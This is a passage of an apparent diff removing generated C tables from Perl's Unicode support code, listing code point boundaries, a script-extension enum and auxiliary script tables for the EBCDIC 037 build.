0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x1802, - 0x1804, - 0x1805, - 0x1806, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x19E0, - 0x1A00, - 0x1A1C, - 0x1A1E, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BC0, - 0x1BF4, - 0x1BFC, - 0x1C00, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C50, - 0x1C80, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CD1, - 0x1CD2, - 0x1CD4, - 0x1CD7, - 0x1CD8, - 0x1CD9, - 0x1CDA, - 0x1CDB, - 0x1CDC, - 0x1CDE, - 0x1CE0, - 0x1CE1, - 0x1CF2, - 0x1CF5, - 0x1CF6, - 0x1CF7, - 0x1CF8, - 0x1CFA, - 0x1D00, - 0x1D26, - 0x1D2B, - 0x1D2C, - 0x1D5D, - 0x1D62, - 0x1D66, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1DBF, - 0x1DC2, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x200C, - 0x200E, - 0x2065, - 0x2066, - 0x2071, - 0x2072, - 0x2074, - 0x207F, - 0x2080, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x20D0, - 0x20F0, - 0x20F1, - 0x2100, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2800, - 0x2900, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C80, - 0x2CF4, - 0x2CF9, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E43, - 0x2E44, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3001, - 0x3003, - 0x3004, - 0x3005, - 0x3008, - 0x3012, - 0x3013, - 0x3014, - 0x301C, - 0x3020, - 0x3021, - 0x302A, - 0x302E, - 0x3030, - 0x3031, - 0x3036, - 0x3037, - 0x3038, - 0x303C, - 0x303E, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x30FD, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31A0, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3260, - 0x327F, - 0x3280, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x32FF, - 0x3300, - 0x3358, - 0x3371, - 0x337B, - 0x3380, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DB6, - 0x4DC0, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA500, - 0xA62C, - 0xA640, - 0xA66F, - 0xA670, - 0xA6A0, - 0xA6F8, - 0xA700, - 0xA722, - 0xA788, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA800, - 0xA82C, - 0xA830, - 0xA836, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8F1, - 0xA8F2, - 0xA8F3, - 0xA8F4, - 0xA8FE, - 0xA900, - 0xA92E, - 0xA92F, - 0xA930, - 0xA954, - 0xA95F, - 0xA960, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9D0, - 0xA9DA, - 0xA9DE, - 0xA9E0, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAA60, - 0xAA80, - 0xAAC3, - 0xAADB, - 0xAAE0, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB65, - 0xAB66, - 0xAB70, - 0xABC0, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB50, - 0xFBC2, - 0xFBD3, - 0xFD3E, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDF2, - 0xFDF3, - 0xFDFD, - 0xFDFE, - 0xFE00, - 0xFE10, - 0xFE1A, - 0xFE20, - 0xFE2E, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF61, - 0xFF66, - 0xFF70, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x10140, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x10330, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x10450, - 0x10480, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10840, - 0x10856, - 0x10857, - 0x10860, - 0x10880, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x10900, - 0x1091C, - 0x1091F, - 0x10920, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109A0, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10A80, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B40, - 0x10B56, - 0x10B58, - 0x10B60, - 0x10B73, - 0x10B78, - 0x10B80, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x11080, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11301, - 0x11302, - 0x11303, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x1133D, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE1, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B001, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D167, - 0x1D16A, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F200, - 0x1F201, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 037 */ - -#endif /* defined(PERL_IN_UTF8_C) */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - SCX_Unknown = 0, - SCX_Adlam = 1, - SCX_Ahom = 2, - SCX_Anatolian_Hieroglyphs = 3, - SCX_Arabic = 4, - SCX_Armenian = 5, - SCX_Avestan = 6, - SCX_Balinese = 7, - SCX_Bamum = 8, - SCX_Bassa_Vah = 9, - SCX_Batak = 10, - SCX_Bengali = 11, - SCX_Bhaiksuki = 12, - SCX_Bopomofo = 13, - SCX_Brahmi = 14, - SCX_Braille = 15, - SCX_Buginese = 16, - SCX_Buhid = 17, - SCX_Canadian_Aboriginal = 18, - SCX_Carian = 19, - SCX_Caucasian_Albanian = 20, - SCX_Chakma = 21, - SCX_Cham = 22, - SCX_Cherokee = 23, - SCX_Common = 24, - SCX_Coptic = 25, - SCX_Cuneiform = 26, - SCX_Cypriot = 27, - SCX_Cyrillic = 28, - SCX_Deseret = 29, - SCX_Devanagari = 30, - SCX_Duployan = 31, - SCX_Egyptian_Hieroglyphs = 32, - SCX_Elbasan = 33, - SCX_Ethiopic = 34, - SCX_Georgian = 35, - SCX_Glagolitic = 36, - SCX_Gothic = 37, - SCX_Grantha = 38, - SCX_Greek = 39, - SCX_Gujarati = 40, - SCX_Gurmukhi = 41, - SCX_Han = 42, - SCX_Hanb = 43, - SCX_Hangul = 44, - SCX_Hanunoo = 45, - SCX_Hatran = 46, - SCX_Hebrew = 47, - SCX_Hiragana = 48, - SCX_Imperial_Aramaic = 49, - SCX_Inherited = 50, - SCX_Inscriptional_Pahlavi = 51, - SCX_Inscriptional_Parthian = 52, - SCX_Javanese = 53, - SCX_Jpan = 54, - SCX_Kaithi = 55, - SCX_Kannada = 56, - SCX_Katakana = 57, - SCX_Kayah_Li = 58, - SCX_Kharoshthi = 59, - SCX_Khmer = 60, - SCX_Khojki = 61, - SCX_Khudawadi = 62, - SCX_Kore = 63, - SCX_Lao = 64, - SCX_Latin = 65, - SCX_Lepcha = 66, - SCX_Limbu = 67, - SCX_Linear_A = 68, - SCX_Linear_B = 69, - SCX_Lisu = 70, - SCX_Lycian = 71, - SCX_Lydian = 72, - SCX_Mahajani = 73, - SCX_Malayalam = 74, - SCX_Mandaic = 75, - SCX_Manichaean = 76, - SCX_Marchen = 77, - SCX_Masaram_Gondi = 78, - SCX_Meetei_Mayek = 79, - SCX_Mende_Kikakui = 80, - SCX_Meroitic_Cursive = 81, - SCX_Meroitic_Hieroglyphs = 82, - SCX_Miao = 83, - SCX_Modi = 84, - SCX_Mongolian = 85, - SCX_Mro = 86, - SCX_Multani = 87, - SCX_Myanmar = 88, - SCX_Nabataean = 89, - SCX_New_Tai_Lue = 90, - SCX_Newa = 91, - SCX_Nko = 92, - SCX_Nushu = 93, - SCX_Ogham = 94, - SCX_Ol_Chiki = 95, - SCX_Old_Hungarian = 96, - SCX_Old_Italic = 97, - SCX_Old_North_Arabian = 98, - SCX_Old_Permic = 99, - SCX_Old_Persian = 100, - SCX_Old_South_Arabian = 101, - SCX_Old_Turkic = 102, - SCX_Oriya = 103, - SCX_Osage = 104, - SCX_Osmanya = 105, - SCX_Pahawh_Hmong = 106, - SCX_Palmyrene = 107, - SCX_Pau_Cin_Hau = 108, - SCX_Phags_Pa = 109, - SCX_Phoenician = 110, - SCX_Psalter_Pahlavi = 111, - SCX_Rejang = 112, - SCX_Runic = 113, - SCX_Samaritan = 114, - SCX_Saurashtra = 115, - SCX_Sharada = 116, - SCX_Shavian = 117, - SCX_Siddham = 118, - SCX_SignWriting = 119, - SCX_Sinhala = 120, - SCX_Sora_Sompeng = 121, - SCX_Soyombo = 122, - SCX_Sundanese = 123, - SCX_Syloti_Nagri = 124, - SCX_Syriac = 125, - SCX_Tagalog = 126, - SCX_Tagbanwa = 127, - SCX_Tai_Le = 128, - SCX_Tai_Tham = 129, - SCX_Tai_Viet = 130, - SCX_Takri = 131, - SCX_Tamil = 132, - SCX_Tangut = 133, - SCX_Telugu = 134, - SCX_Thaana = 135, - SCX_Thai = 136, - SCX_Tibetan = 137, - SCX_Tifinagh = 138, - SCX_Tirhuta = 139, - SCX_Ugaritic = 140, - SCX_Vai = 141, - SCX_Warang_Citi = 142, - SCX_Yi = 143, - SCX_Zanabazar_Square = 144, - SCX_INVALID = 145, - SCX_use_AUX_TABLE_1 = -1, - SCX_use_AUX_TABLE_2 = -2, - SCX_use_AUX_TABLE_3 = -3, - SCX_use_AUX_TABLE_4 = -4, - SCX_use_AUX_TABLE_5 = -5, - SCX_use_AUX_TABLE_6 = -6, - SCX_use_AUX_TABLE_7 = -7, - SCX_use_AUX_TABLE_8 = -8, - SCX_use_AUX_TABLE_9 = -9, - SCX_use_AUX_TABLE_10 = -10, - SCX_use_AUX_TABLE_11 = -11, - SCX_use_AUX_TABLE_12 = -12, - SCX_use_AUX_TABLE_13 = -13, - SCX_use_AUX_TABLE_14 = -14, - SCX_use_AUX_TABLE_15 = -15, - SCX_use_AUX_TABLE_16 = -16, - SCX_use_AUX_TABLE_17 = -17, - SCX_use_AUX_TABLE_18 = -18, - SCX_use_AUX_TABLE_19 = -19, - SCX_use_AUX_TABLE_20 = -20, - SCX_use_AUX_TABLE_21 = -21, - SCX_use_AUX_TABLE_22 = -22, - SCX_use_AUX_TABLE_23 = -23, - SCX_use_AUX_TABLE_24 = -24, - SCX_use_AUX_TABLE_25 = -25, - SCX_use_AUX_TABLE_26 = -26, - SCX_use_AUX_TABLE_27 = -27, - SCX_use_AUX_TABLE_28 = -28, - SCX_use_AUX_TABLE_29 = -29, - SCX_use_AUX_TABLE_30 = -30, - SCX_use_AUX_TABLE_31 = -31, - SCX_use_AUX_TABLE_32 = -32, - SCX_use_AUX_TABLE_33 = -33, - SCX_use_AUX_TABLE_34 = -34, - SCX_use_AUX_TABLE_35 = -35, - SCX_use_AUX_TABLE_36 = -36, - SCX_use_AUX_TABLE_37 = -37, - SCX_use_AUX_TABLE_38 = -38, - SCX_use_AUX_TABLE_39 = -39, - SCX_use_AUX_TABLE_40 = -40, - SCX_use_AUX_TABLE_41 = -41, - SCX_use_AUX_TABLE_42 = -42, - SCX_use_AUX_TABLE_43 = -43, - SCX_use_AUX_TABLE_44 = -44, - SCX_use_AUX_TABLE_45 = -45 -} SCX_enum; - -# endif /* EBCDIC 037 */ - -#if defined(PERL_IN_REGEXEC_C) - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -#define HAS_SCX_AUX_TABLES - -static const SCX_enum SCX_AUX_TABLE_1[] = { - SCX_Bopomofo, - SCX_Hanb -}; - -static const SCX_enum SCX_AUX_TABLE_2[] = { - SCX_Cyrillic, - SCX_Old_Permic -}; - -static const SCX_enum SCX_AUX_TABLE_3[] = { - SCX_Cyrillic, - SCX_Glagolitic -}; - -static const SCX_enum SCX_AUX_TABLE_4[] = { - SCX_Cyrillic, - SCX_Latin -}; - -static const SCX_enum SCX_AUX_TABLE_5[] = { - SCX_Armenian, - SCX_Georgian -}; - -static const SCX_enum SCX_AUX_TABLE_6[] = { - SCX_Arabic, - SCX_Syriac, - SCX_Thaana -}; - -static const SCX_enum SCX_AUX_TABLE_7[] = { - SCX_Adlam, - SCX_Arabic, - SCX_Mandaic, - SCX_Manichaean, - SCX_Psalter_Pahlavi, - SCX_Syriac -}; - -static const SCX_enum SCX_AUX_TABLE_8[] = { - SCX_Arabic, - SCX_Syriac -}; - -static const SCX_enum SCX_AUX_TABLE_9[] = { - SCX_Arabic, - SCX_Thaana -}; - -static const SCX_enum SCX_AUX_TABLE_10[] = { - SCX_Bengali, - SCX_Devanagari, - SCX_Grantha, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kannada, - SCX_Latin, - SCX_Malayalam, - SCX_Oriya, - SCX_Sharada, - SCX_Tamil, - SCX_Telugu -}; - -static const SCX_enum SCX_AUX_TABLE_11[] = { - SCX_Bengali, - SCX_Devanagari, - SCX_Grantha, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kannada, - SCX_Latin, - SCX_Malayalam, - SCX_Oriya, - SCX_Tamil, - SCX_Telugu -}; - -static const SCX_enum SCX_AUX_TABLE_12[] = { - SCX_Bengali, - SCX_Devanagari, - SCX_Grantha, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kannada, - SCX_Khudawadi, - SCX_Mahajani, - SCX_Malayalam, - SCX_Oriya, - SCX_Sinhala, - SCX_Syloti_Nagri, - SCX_Takri, - SCX_Tamil, - SCX_Telugu, - SCX_Tirhuta -}; - -static const SCX_enum SCX_AUX_TABLE_13[] = { - SCX_Bengali, - SCX_Devanagari, - SCX_Grantha, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kannada, - SCX_Khudawadi, - SCX_Limbu, - SCX_Mahajani, - SCX_Malayalam, - SCX_Oriya, - SCX_Sinhala, - SCX_Syloti_Nagri, - SCX_Takri, - SCX_Tamil, - SCX_Telugu, - SCX_Tirhuta -}; - -static const SCX_enum SCX_AUX_TABLE_14[] = { - SCX_Devanagari, - SCX_Kaithi, - SCX_Mahajani -}; - -static const SCX_enum SCX_AUX_TABLE_15[] = { - SCX_Bengali, - SCX_Chakma, - SCX_Syloti_Nagri -}; - -static const SCX_enum SCX_AUX_TABLE_16[] = { - SCX_Gurmukhi, - SCX_Multani -}; - -static const SCX_enum SCX_AUX_TABLE_17[] = { - SCX_Gujarati, - SCX_Khojki -}; - -static const SCX_enum SCX_AUX_TABLE_18[] = { - SCX_Grantha, - SCX_Tamil -}; - -static const SCX_enum SCX_AUX_TABLE_19[] = { - SCX_Chakma, - SCX_Myanmar, - SCX_Tai_Le -}; - -static const SCX_enum SCX_AUX_TABLE_20[] = { - SCX_Georgian, - SCX_Latin -}; - -static const SCX_enum SCX_AUX_TABLE_21[] = { - SCX_Hangul, - SCX_Kore -}; - -static const SCX_enum SCX_AUX_TABLE_22[] = { - SCX_Buhid, - SCX_Hanunoo, - SCX_Tagalog, - SCX_Tagbanwa -}; - -static const SCX_enum SCX_AUX_TABLE_23[] = { - SCX_Mongolian, - SCX_Phags_Pa -}; - -static const SCX_enum SCX_AUX_TABLE_24[] = { - SCX_Devanagari, - SCX_Grantha -}; - -static const SCX_enum SCX_AUX_TABLE_25[] = { - SCX_Devanagari, - SCX_Sharada -}; - -static const SCX_enum SCX_AUX_TABLE_26[] = { - SCX_Devanagari, - SCX_Kannada, - SCX_Malayalam, - SCX_Tamil, - SCX_Telugu -}; - -static const SCX_enum SCX_AUX_TABLE_27[] = { - SCX_Devanagari, - SCX_Kannada -}; - -static const SCX_enum SCX_AUX_TABLE_28[] = { - SCX_Devanagari, - SCX_Grantha, - SCX_Latin -}; - -static const SCX_enum SCX_AUX_TABLE_29[] = { - SCX_Han, - SCX_Hanb, - SCX_Jpan, - SCX_Kore -}; - -static const SCX_enum SCX_AUX_TABLE_30[] = { - SCX_Bopomofo, - SCX_Han, - SCX_Hanb, - SCX_Hangul, - SCX_Hiragana, - SCX_Jpan, - SCX_Katakana, - SCX_Kore, - SCX_Yi -}; - -static const SCX_enum SCX_AUX_TABLE_31[] = { - SCX_Bopomofo, - SCX_Han, - SCX_Hanb, - SCX_Hangul, - SCX_Hiragana, - SCX_Jpan, - SCX_Katakana, - SCX_Kore -}; - -static const SCX_enum SCX_AUX_TABLE_32[] = { - SCX_Bopomofo, - SCX_Han, - SCX_Hanb, - SCX_Jpan, - 